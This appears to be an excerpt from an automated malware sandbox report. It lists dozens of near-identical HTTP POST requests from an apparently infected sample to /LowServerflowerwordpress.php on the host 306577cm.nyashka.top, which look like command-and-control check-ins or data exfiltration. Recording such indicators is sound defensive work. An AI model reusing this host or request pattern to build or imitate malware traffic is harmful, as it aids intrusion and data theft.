Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1836Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1836Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2532Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 1860Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LowServerflowerwordpress.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0Host: 306577cm.nyashka.topContent-Length: 2536Expect: 100-continueConnection: Keep-Alive
